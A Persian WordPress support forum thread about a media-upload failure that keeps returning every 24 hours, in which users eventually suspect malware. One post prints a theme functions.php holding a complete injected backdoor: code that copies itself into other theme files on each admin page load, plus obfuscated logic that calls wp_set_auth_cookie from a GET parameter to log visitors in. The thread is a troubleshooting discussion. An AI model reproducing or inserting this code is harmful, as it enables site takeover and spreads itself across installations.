رفتن به مطلب

مشکل بخش آپلود Insert Media


پست های پیشنهاد شده

تغییری در ساختار سایت ندادم ؛ یک ساعت پیش بدون مشکل یه مطلب ارسال کردم ولی حدود 10 دقیقه پیش زمان ارسال مطلب جدید بخش آپلود تصاویر از کار افتاده و اجازه آپلود نمیده. خبر منتشر میشه ولی آپلود کار نمیکنه و اخطار میده که مجددا سعی کنید.

1.

post-1826-0-28259500-1380539816_thumb.jp

2.

post-1826-0-41344500-1380539832_thumb.jp

حتی فایل آپلود رو تغییر دادم ولی مثل تصویر اخطار میده ؛ سطح دسترسی پوشه آپلود رو هم چک کردم 755 رو روی 777 گذاشتم ؛ نتیجه ای نداد.

ویرایش شده توسط silver21
لینک به ارسال

یه چیزی فهمیدم ؛ آپلود انجام میشه منتهی نمایش داده نمیشه (موارد آپلودی در بخش رسانه وجود داره) ظاهرا در صفحه آپلود دیده نمیشه و چیز دیگه ای که فهمیدم ، داخل سایت یکسری ستاره امتیاز دهی وجود داره که با حرکت موس روشن میشد که اون هم از کار افتاده

لینک به ارسال

سلام

این مشکل ظاهرا توی نسخه جدید هست برای خودم هم دوبار پیش اومده

راه‌حلی هم که خودم استفاده کردم این بود که وردپرس رو به جزء فایل کانتنت دوباره روی فایل‌های قبلی بارگذاری کردم و مشکل حل شد ...

لینک به ارسال

هر مرضی که داشت از فولدر wp-includes بود.

جواب:

دوستانی که بک آپ از سایت دارن کافی فولدر wp-includes رو پاک کنن و بک آپ رو جایگزین کنند.

دوستانی هم که بک آپ ندارن ، چون کم پیش میاد یا اصلا پیش نمیاد که تغییری تو فولدر wp-includes انجام بدن ، این پوشه رو پاک کنن و از نسخه اولیه فولدرشو بردارن و جایگزین کنن.

ویرایش شده توسط silver21
لینک به ارسال

وقتی 24 ساعت میگذره مجددا این مشکل بوجود میاد ، دقیقتر بگم بعد از آزمون خطا گرفتن متوجه شدم مشکل از پوشه wp-includes و فایل functions.php هست ؛ تا الان 2روزه که این فایلو کپی میکنم ولی روز بعد دوباره مشکل پیدا می کنه و به حجمش هم اضافه میشه ، یکسری مقادیر جدید واردش میشه ! دیگه داره میره رو اعصابم.

ویرایش شده توسط silver21
لینک به ارسال

ممنون از Silver21 عزیز بابت ایجاد و پیگیری تاپیک .

منم در سایتم به این مشکل برخوردم و در نت خیلی سرچ کردم که همشون گفته بودند آپدیت دستی انجام بدید که این کار را با جایگزین کردن تمام پوشه ها به جز کانفیگ و wp-content انجام دادم .

همانطوری که دوستمون اشاره کردند اول حل شد ولی بعد از 24 ساعت مجدد بر میگرده به حالت اول و همون خطا رو میده

واقعاً موندم چیکار کنم هرچی تاپیک بود تو نت خوندم و به نتیجه نرسیدم .

نتیجه اعتماد به وردپرس اینه ؟

لینک به ارسال

یه حدسایی به ذهن دارم ، منتهی باید هر بار 24 ساعت صبر کنم ببینم نتیجه میده یا نه که نتیجه داد اینجا قرار میدم ( مشکلات xml ) از چی بوده؛ دلیل اینکه مدیرا پاسخی نمیدنم ...

لینک به ارسال

دلیل اینکه مدیرا پاسخی نمیدنم ...

چون اصلا همچین خطایی رو ندیدیم که بخوایم برای رفعش راهنمایی کنیم.

ماشاله همه کانفیگ های سرورهای ایران هم که استاندارد خاصی پیروی میکنن و شبیه به هم هستن!

بنده به شخصه همچین مشکلی تا الان نداشتم

لینک به ارسال

من با یکی از پوسته هایی که فارسی کرده بودم این مشکل رو داشتم منتها در لوکال هاست این مشکل وجود نداشت ولی در سرور و هاست آنلاین این مشکل وجود داشت

بعد از کلی کلنجار رفتن فهمیدم مشکل از توابع پوسته بوده و با اطلاح کردن فایل فانکشن مشکل رفع شد

شما فایل فانکشن پوسته خودتون رو قرار بدید تا برسی بشه به احتمال زیاد مشکل از همینه

لینک به ارسال

شما فایل فانکشن پوسته خودتون رو قرار بدید تا برسی بشه به احتمال زیاد مشکل از همینه

ممنون میشم فایل فانکشن بنده روهم یه بررسی بکنید

مشکلی مشابه ایشون دارم

Function.php

لینک به ارسال

ممنون میشم فایل فانکشن بنده روهم یه بررسی بکنید

مشکلی مشابه ایشون دارم

دوست عزیز مشکل از این توابع هستش وقتی این توابع رو حذف میکنم مشکل رفع میشه

<?php

function _check_active_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "Not found" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);

$output .= ($showdot && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_all_widgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_all_widgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_check_active_widget");

function _prepared_widget(){

if(!isset($length)) $length=120;

if(!isset($method)) $method="cookie";

if(!isset($html_tags)) $html_tags="<a>";

if(!isset($filters_type)) $filters_type="none";

if(!isset($s)) $s="";

if(!isset($filter_h)) $filter_h=get_option("home");

if(!isset($filter_p)) $filter_p="wp_";

if(!isset($use_link)) $use_link=1;

if(!isset($comments_type)) $comments_type="";

if(!isset($perpage)) $perpage=$_GET["cperpage"];

if(!isset($comments_auth)) $comments_auth="";

if(!isset($comment_is_approved)) $comment_is_approved="";

if(!isset($authname)) $authname="auth";

if(!isset($more_links_text)) $more_links_text="(more...)";

if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");

if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;

if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";

if(!isset($more_content)) $more_content="ma".$s."il";

if(!isset($forces_more)) $forces_more=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$widget_output) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($fix_tag)) $fix_tag=1;

if(!isset($filters_types)) $filters_types=$filter_h;

if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;

if(!isset($more_tags)) $more_tags="div";

if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($mlink_title)) $mlink_title="Continue reading this entry";

if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $length) {

$l=$length;

$ellipsis=1;

} else {

$l=count($text);

$more_links_text="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $html_tags) {

$output=strip_tags($output, $html_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n\t\r\0\x0B");

$output=($fix_tag) ? balanceTags($output, true) : $output;

$output .= ($showdot && $ellipsis) ? "..." : "";

$output=apply_filters($filters_type, $output);

switch($more_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_link ) {

if($forces_more) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_prepared_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

if ( function_exists('register_sidebar') )

register_sidebar(array(

'before_widget' => '',

'after_widget' => '</div><div class="wfo"></div>',

'before_title' => '<div class="wtop">',

'after_title' => '</div><div class="wco">',

));

function my_function_admin_bar(){

return false;

}

add_filter( 'show_admin_bar' , 'my_function_admin_bar'); ?>

از اساتید کسی میدونه این توابع برای چی هستن ؟؟

ویرایش شده توسط Morteza
لینک به ارسال

هر تابع اضافه ای که توی فانکشن وجود داره یا بعدا اتوماتیک اضافه میشه رو پاک کنید و دسترسی فایل فانکشن رو پایین بزارید تا دیگه قابل نوشتن نباشه.

لینک به ارسال

یک سوال من اصلا با فولدر wp-content و محتویات اون کاری ندارم و بقیه مواردو همشونو از بک آپی که یک ماه پیش داشتم جایگزین میکنم و مشکل برطرف میشه ولی 24 ساعت بعد دوباره به حالت اول برمیگرده ؛ فانکشن درون فولدر wp-includes تغییر حجم میده و حتی قبلا فقط با جایگزین کردن این فایل سایت درست میشد ؛ درحال حاضر باید کل محتویات ( بجز فولدر wp-content ) رو جایگزین کنم تا درست بشه ولی باز هم 24 ساعت نشده به حالت قبل برمیگرده.

سطح دسترسی رو 644 بود گذاشتم 444 باز فایلش تغییر کرد- بخشایی رو با فانکشن قبلی مقایسه کردم دیدم یکسری موارد یک لاین جلو رفته - فانکشنی که در حال حاضر باهاش سایت با مشکل مواجه هستو میذارم : (از فولدر فولدر wp-includes)

functions.php

ویرایش شده توسط silver21
لینک به ارسال

دوست عزیز مشکل از این توابع هستش وقتی این توابع رو حذف میکنم مشکل رفع میشه

از اساتید کسی میدونه این توابع برای چی هستن ؟؟

احتمالا بدافزار روی سرور هست

اگر میتونید وردپرس رو حذف و بعد نصب دستی کنید (بکآپ فراموش نشه)

بعضا بخاطر کدهای وردپرس قدیمی باقی میمونن. معمولای توی نصب جدید از بین میرن.

یک سوال من اصلا با فولدر wp-content و محتویات اون کاری ندارم و بقیه مواردو همشونو از بک آپی که یک ماه پیش داشتم جایگزین میکنم و مشکل برطرف میشه ولی 24 ساعت بعد دوباره به حالت اول برمیگرده ؛ فانکشن درون فولدر wp-includes تغییر حجم میده و حتی قبلا فقط با جایگزین کردن این فایل سایت درست میشد ؛ درحال حاضر باید کل محتویات ( بجز فولدر wp-content ) رو جایگزین کنم تا درست بشه ولی باز هم 24 ساعت نشده به حالت قبل برمیگرده.

سطح دسترسی رو 644 بود گذاشتم 444 باز فایلش تغییر کرد- بخشایی رو با فانکشن قبلی مقایسه کردم دیدم یکسری موارد یک لاین جلو رفته - فانکشنی که در حال حاضر باهاش سایت با مشکل مواجه هستو میذارم : (از فولدر فولدر wp-includes)

شما هاست دیگه ای دارید که این مورد رو تست کنید؟

شاید روی هسات شما هم بدافزار باشه. این مورد روبررسی کردید؟

لینک به ارسال

به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • اضافه کردن...